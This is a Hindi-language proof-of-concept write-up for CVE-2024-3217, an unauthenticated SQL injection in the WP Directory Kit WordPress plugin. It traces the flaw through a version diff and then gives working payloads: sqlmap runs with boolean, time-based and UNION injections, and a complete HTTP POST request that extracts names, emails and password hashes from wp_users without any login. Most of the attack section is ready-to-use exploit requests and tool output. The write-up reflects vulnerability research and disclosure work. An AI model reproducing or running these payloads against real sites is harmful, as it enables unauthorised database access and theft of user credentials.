
CVE-2024-3217 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो वर्डप्रेस के WP Directory Kit प्लगइन में बिना प्रमाणीकरण के SQL इंजेक्शन का प्रदर्शन करता है, जिसमें डेटा निकालने के लिए पेलोड शामिल हैं।
WP Directory Kit प्लगइन WordPress के लिए 'attribute_value' और 'attribute_id' पैरामीटर्स के माध्यम से SQL Injection के लिए असुरक्षित है, सभी संस्करणों में 1.3.0 तक शामिल है। यह उपयोगकर्ता द्वारा प्रदान किए गए पैरामीटर पर अपर्याप्त एस्केपिंग और मौजूदा SQL क्वेरी पर पर्याप्त तैयारी की कमी के कारण है। इससे प्रमाणित हमलावरों (सब्सक्राइबर-स्तर की पहुंच और उससे ऊपर) के लिए मौजूदा क्वेरी में अतिरिक्त SQL क्वेरी जोड़ना संभव हो जाता है, जिसका उपयोग डेटाबेस से संवेदनशील जानकारी निकालने के लिए किया जा सकता है।
मैंने WordPress के माध्यम से सही संस्करण स्थापित किया है।
https://wordpress.org/plugins/wpdirectorykit/
यदि आप पुराना संस्करण चाहते हैं तो Advanced View पर क्लिक करें।

हम तुलना के लिए 1.3.0 और 1.3.1 डाउनलोड करना चाहते हैं।
https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.0.zip https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.1.zip
जब आप diff करते हैं और 'attribute_value' और 'attribute_id' के मानों की खोज करते हैं, तो मैंने इस फ़ाइल में पाया:
\wpdirectorykit\application\controllers\Wdk_frontendajax.php मैंने VS Code में "folder diff" नामक एक एक्सटेंशन का उपयोग किया।

हम देख सकते हैं कि संस्करण 1.3.0 में "sanitize_text_field" फ़ंक्शन का उपयोग किया गया था, लेकिन समस्या यहाँ सीधे नहीं है, यह ज्यादातर नीचे इस भाग में थी।

हम देख सकते हैं कि यदि "$attr_search" संख्यात्मक है, तो हम $id_part = "$attr_id=$attr_search OR "; को नियंत्रित करेंगे, जिसका उपयोग SQL क्वेरी के भाग के रूप में किया जाएगा और चूंकि हम " ' " का उपयोग नहीं कर सकते क्योंकि यह क्वेरी का हिस्सा है, इसलिए हमें एस्केप के लिए इसकी आवश्यकता नहीं है, हम सीधे अपने इंजेक्शन भाग को कोड में शामिल कर सकते हैं।
जिसका उपयोग यहाँ किया जाएगा:

अब हमें एक अनुरोध बनाने की आवश्यकता है जो इन भागों तक पहुंचे और "$attr_search" के लिए एक संख्यात्मक मान डालें, फिर अपना इंजेक्शन करें और विवरण के अनुसार ऐसा लगता है कि न्यूनतम "subscriber-level" है, हम बाद में इसकी जांच करेंगे।

offset=0&per_page=10&curr_id=&attribute_id=ID=1)or 1=1-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
offset=0&per_page=10&curr_id=&attribute_id=ID=1)*-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
अब हम इसे PoC के लिए SQLMAP के साथ परीक्षण करेंगे।
python .\sqlmap.py -r .\sql-wpdirectorykit-4.req --dbs --batch --dbms=mysql --flush-session
[17:08:36] [INFO] parsing HTTP request from '.\sql-wpdirectorykit-4.req'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[17:08:36] [INFO] flushing session file
[17:08:36] [INFO] testing connection to the target URL
[17:08:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:08:37] [INFO] testing if the target URL content is stable
[17:08:38] [INFO] target URL content is stable
[17:08:38] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[17:08:39] [INFO] (custom) POST parameter '#1*' appears to be dynamic
[17:08:39] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[17:08:40] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[17:08:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:08:44] [INFO] (custom) POST parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:08:44] [INFO] testing 'Generic inline queries'
[17:08:44] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:08:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:08:45] [WARNING] time-based comparison requires larger statistical model, please wait.................... (done)
[17:09:11] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:09:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:09:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:09:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:09:18] [INFO] target URL appears to have 34 columns in query
[17:09:36] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND 7544=7544-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND (SELECT 1253 FROM (SELECT(SLEEP(5)))BUhD)-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
Type: UNION query
Title: Generic UNION query (NULL) - 34 columns
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171717871,0x645450444e484b6162547547496545685342754f57475a505641526d4373656c6c50454f61444358,0x7171707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- --- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
---
[17:09:36] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.29, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:09:37] [INFO] fetching database names
अब सबसे कम विशेषाधिकारों का पता लगाने का प्रयास करें, बिना कुकीज़ के 0 विशेषाधिकारों से शुरू करें और सबसे कम विशेषाधिकारों से निर्माण करें।

कुकीज़ हटाने के बाद आउटपुट अभी भी मूल्यांकित किया गया है, पुष्टि के लिए sqlmap से पेलोड का प्रयास करें।

यह एक Proof Of Concept है, इस हमले के लिए किसी भी कुकी की आवश्यकता नहीं है। wp_users से सभी मान निकालने के लिए एक सरल पेलोड बनाएं।
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 551
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/wordpress/wp-admin/admin.php?page=wdk_listing&id=10&is_updated=true
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
पेलोड भाग:
1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -
नोट: आपको "search_term" को किसी भी संख्यात्मक मान पर सेट करना होगा, इस उदाहरण में यह "1" है।

पूर्ण यूनियन SQL इंजेक्शन पूरी तरह से बिना प्रमाणीकरण के।